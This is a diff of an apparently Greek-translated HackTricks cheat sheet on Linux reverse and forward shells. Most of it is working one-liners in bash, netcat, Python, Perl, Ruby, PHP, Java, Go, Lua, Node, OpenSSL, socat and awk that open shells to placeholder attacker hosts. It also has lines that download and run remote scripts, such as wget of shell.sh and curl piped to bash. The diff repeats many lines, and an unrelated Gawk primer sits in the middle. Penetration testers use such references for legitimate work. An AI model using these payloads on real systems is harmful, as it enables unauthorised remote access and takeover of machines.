* Με το **ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελέσματα της διαδραστικής συνεδρίας κελύφους στον υπολογιστή του εισβολέα.
|
||||||
|
|
||||||
4. **`0>&1`**: Αυτό το τμήμα της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
|
4. **`0>&1`**: Αυτό το τμήμα της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
|
||||||
|
|
||||||
### Δημιουργία σε αρχείο και εκτέλεση
|
### Δημιουργία σε αρχείο και εκτέλεση
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
## Προώθηση Κέλυφους
|
## Προώθηση Κέλυφους
|
||||||
|
|
||||||
Όταν αντιμετωπίζετε μια ευπάθεια **Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)** σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός αντίστροφου κελύφους ενδέχεται να εμποδίζεται από αμυντικά δίκτυου όπως κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοια περιορισμένα περιβάλλοντα, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός κελύφους PTY (Ψευδοτερματικό) για να αλληλεπιδράτε αποτελεσματικότερα με το συμβιβασμένο σύστημα.
|
Όταν αντιμετωπίζετε μια ευπάθεια **Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)** σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός αντίστροφου κελύφους ενδέχεται να εμποδίζεται από αμυντικά δίκτυου όπως κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοια περιορισμένα περιβάλλοντα, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός κελύφους PTY (Ψευδοτερματικό) για να αλληλεπιδράτε αποτελεσματικότερα με το συμβιβασμένο σύστημα.
|
||||||
|
@ -72,6 +80,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||||
Ένα προτεινόμενο εργαλείο για αυτόν τον σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
|
Ένα προτεινόμενο εργαλείο για αυτόν τον σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
|
||||||
|
|
||||||
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα πρόσθετο Python που προσαρμόζεται στο πλαίσιο RCE του συστήματος στόχου σας. Για παράδειγμα, ένα πρόσθετο με το όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
|
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα πρόσθετο Python που προσαρμόζεται στο πλαίσιο RCE του συστήματος στόχου σας. Για παράδειγμα, ένα πρόσθετο με το όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
|
||||||
|
|
||||||
```python3
|
```python3
|
||||||
import jwt
|
import jwt
|
||||||
import httpx
|
import httpx
|
||||||
|
@ -95,23 +104,27 @@ response.raise_for_status()
|
||||||
|
|
||||||
return response.text
|
return response.text
|
||||||
```
|
```
|
||||||
|
|
||||||
Και στη συνέχεια, μπορείτε να εκτελέσετε:
|
Και στη συνέχεια, μπορείτε να εκτελέσετε:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
toboggan -m nix.py -i
|
toboggan -m nix.py -i
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να εκμεταλλευτείτε απευθείας ένα διαδραστικό κέλυφος. Μπορείτε να προσθέσετε το `-b` για ολοκλήρωση με το Burpsuite και να αφαιρέσετε το `-i` για ένα πιο βασικό rce wrapper.
|
Για να εκμεταλλευτείτε απευθείας ένα διαδραστικό κέλυφος. Μπορείτε να προσθέσετε το `-b` για ολοκλήρωση με το Burpsuite και να αφαιρέσετε το `-i` για ένα πιο βασικό rce wrapper.
|
||||||
|
|
||||||
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης προώθησης κελύφους `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης προώθησης κελύφους `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||||
|
|
||||||
Απλά χρειάζεται να τροποποιήσετε:
|
Απλά χρειάζεται να τροποποιήσετε:
|
||||||
|
|
||||||
- Το URL του ευάλωτου κεντρικού υπολογιστή
|
* Το URL του ευάλωτου κεντρικού υπολογιστή
|
||||||
- Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει)
|
* Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει)
|
||||||
- Ο τρόπος με τον οποίο το φορτίο στέλνεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
|
* Ο τρόπος με τον οποίο το φορτίο στέλνεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
|
||||||
|
|
||||||
Έπειτα, μπορείτε απλά **να στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
|
Έπειτα, μπορείτε απλά **να στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
|
||||||
|
|
||||||
## Netcat
|
## Netcat
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
||||||
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||||
|
@ -119,34 +132,44 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp
|
||||||
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
||||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||||
```
|
```
|
||||||
|
|
||||||
## gsocket
|
## gsocket
|
||||||
|
|
||||||
Ελέγξτε το στο [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
Ελέγξτε το στο [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Telnet
|
## Telnet
|
||||||
|
|
||||||
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να εκτελέσει εντολές από απόσταση.
|
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να εκτελέσει εντολές από απόσταση.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||||
```
|
```
|
||||||
|
|
||||||
## Whois
|
## Whois
|
||||||
|
|
||||||
**Επιτιθέμενος**
|
**Επιτιθέμενος**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
while true; do nc -l <port>; done
|
while true; do nc -l <port>; done
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
|
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
|
||||||
|
|
||||||
**Θύμα**
|
**Θύμα**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||||
```
|
```
|
||||||
|
|
||||||
## Πυθών
|
## Πυθών
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||||
|
@ -154,19 +177,25 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
||||||
#IPv6
|
#IPv6
|
||||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||||
```
|
```
|
||||||
|
|
||||||
## Perl
|
## Perl
|
||||||
|
|
||||||
Perl (Practical Extraction and Reporting Language) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για τη διεξαγωγή εργασιών σε συστήματα Unix.
|
Perl (Practical Extraction and Reporting Language) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για τη διεξαγωγή εργασιών σε συστήματα Unix.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ruby
|
## Ruby
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
```
|
```
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
```php
|
```php
|
||||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||||
|
@ -178,31 +207,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||||
|
|
||||||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Java
|
## Java
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
r = Runtime.getRuntime()
|
r = Runtime.getRuntime()
|
||||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||||
p.waitFor()
|
p.waitFor()
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ncat
|
## Ncat
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||||
```
|
```
|
||||||
|
|
||||||
## Golang
|
## Golang
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||||
```
|
```
|
||||||
|
|
||||||
## Lua
|
## Lua
|
||||||
|
|
||||||
Lua είναι ένα ελαφρύ, δυναμικό, ερμηνευμένο γλώσσα προγραμματισμού.
|
Lua είναι ένα ελαφρύ, δυναμικό, ερμηνευμένο γλώσσα προγραμματισμού.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||||
#Windows & Linux
|
#Windows & Linux
|
||||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||||
```
|
```
|
||||||
|
|
||||||
## NodeJS
|
## NodeJS
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
(function(){
|
(function(){
|
||||||
var net = require("net"),
|
var net = require("net"),
|
||||||
|
@ -245,15 +284,19 @@ or
|
||||||
|
|
||||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||||
```
|
```
|
||||||
|
|
||||||
## OpenSSL
|
## OpenSSL
|
||||||
|
|
||||||
Ο Εισβολέας (Kali)
|
Ο Εισβολέας (Kali)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||||
```
|
```
|
||||||
|
|
||||||
Ο Θύμα
|
Ο Θύμα
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
|
@ -261,38 +304,49 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
||||||
#Windows
|
#Windows
|
||||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Socat**
|
## **Socat**
|
||||||
|
|
||||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||||
|
|
||||||
### Bind shell
|
### Bind shell
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αντίστροφη κέλυφωση
|
### Αντίστροφη κέλυφωση
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
```
|
```
|
||||||
|
|
||||||
## Awk
|
## Awk
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||||
```
|
```
|
||||||
|
|
||||||
## Δάχτυλο
|
## Δάχτυλο
|
||||||
|
|
||||||
**Επιτιθέμενος**
|
**Επιτιθέμενος**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
while true; do nc -l 79; done
|
while true; do nc -l 79; done
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
|
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
|
||||||
|
|
||||||
**Θύμα**
|
**Θύμα**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||||||
|
|
||||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||||
```
|
```
|
||||||
|
|
||||||
## Gawk
|
## Gawk
|
||||||
|
|
||||||
### Εισαγωγή
|
### Εισαγωγή
|
||||||
|
@ -308,30 +362,35 @@ gawk 'pattern { action }' file
|
||||||
```
|
```
|
||||||
|
|
||||||
όπου:
|
όπου:
|
||||||
- `pattern` αντιπροσωπεύει το πρότυπο που πρέπει να ταιριάζει με τις γραμμές του αρχείου
|
|
||||||
- `action` αντιπροσωπεύει την ενέργεια που πρέπει να εκτελεστεί όταν το πρότυπο ταιριάζει
|
* `pattern` αντιπροσωπεύει το πρότυπο που πρέπει να ταιριάζει με τις γραμμές του αρχείου
|
||||||
- `file` είναι το αρχείο που θα επεξεργαστεί το Gawk
|
* `action` αντιπροσωπεύει την ενέργεια που πρέπει να εκτελεστεί όταν το πρότυπο ταιριάζει
|
||||||
|
* `file` είναι το αρχείο που θα επεξεργαστεί το Gawk
|
||||||
|
|
||||||
### Παραδείγματα
|
### Παραδείγματα
|
||||||
|
|
||||||
Παρακάτω παρουσιάζονται μερικά παραδείγματα χρήσης του Gawk:
|
Παρακάτω παρουσιάζονται μερικά παραδείγματα χρήσης του Gawk:
|
||||||
|
|
||||||
1. Εκτύπωση όλων των γραμμών ενός αρχείου:
|
1. Εκτύπωση όλων των γραμμών ενός αρχείου:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gawk '{ print }' file.txt
|
gawk '{ print }' file.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
2. Εκτύπωση της πρώτης στήλης κάθε γραμμής:
|
2. Εκτύπωση της πρώτης στήλης κάθε γραμμής:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gawk '{ print $1 }' file.txt
|
gawk '{ print $1 }' file.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Υπολογισμός του αθροίσματος μιας στήλης:
|
3. Υπολογισμός του αθροίσματος μιας στήλης:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gawk '{ sum += $1 } END { print sum }' file.txt
|
gawk '{ sum += $1 } END { print sum }' file.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Με τη χρήση του Gawk, μπορείτε να εκτελέσετε πολλαπλές ενέργειες επεξεργασίας κειμένου με απλό και αποτελεσματικό τρόπο.
|
Με τη χρήση του Gawk, μπορείτε να εκτελέσετε πολλαπλές ενέργειες επεξεργασίας κειμένου με απλό και αποτελεσματικό τρόπο.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/usr/bin/gawk -f
|
#!/usr/bin/gawk -f
|
||||||
|
|
||||||
|
@ -354,28 +413,35 @@ close(Service)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Xterm
|
## Xterm
|
||||||
|
|
||||||
Αυτό θα προσπαθήσει να συνδεθεί στο σύστημά σας στη θύρα 6001:
|
Αυτό θα προσπαθήσει να συνδεθεί στο σύστημά σας στη θύρα 6001:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xterm -display 10.0.0.1:1
|
xterm -display 10.0.0.1:1
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (που θα ακούει στη θύρα 6001):
|
Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (που θα ακούει στη θύρα 6001):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Authorize host
|
# Authorize host
|
||||||
xhost +targetip
|
xhost +targetip
|
||||||
# Listen
|
# Listen
|
||||||
Xnest :1
|
Xnest :1
|
||||||
```
|
```
|
||||||
|
|
||||||
## Groovy
|
## Groovy
|
||||||
|
|
||||||
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Το αντίστροφο κέλυφος Java λειτουργεί επίσης για το Groovy
|
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Το αντίστροφο κέλυφος Java λειτουργεί επίσης για το Groovy
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
String host="localhost";
|
String host="localhost";
|
||||||
int port=8044;
|
int port=8044;
|
||||||
String cmd="cmd.exe";
|
String cmd="cmd.exe";
|
||||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||||
|
@ -385,7 +451,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
File diff suppressed because one or more lines are too long
175
hardware-physical-access/escaping-from-gui-applications.md
Normal file
175
hardware-physical-access/escaping-from-gui-applications.md
Normal file
|
@ -0,0 +1,175 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
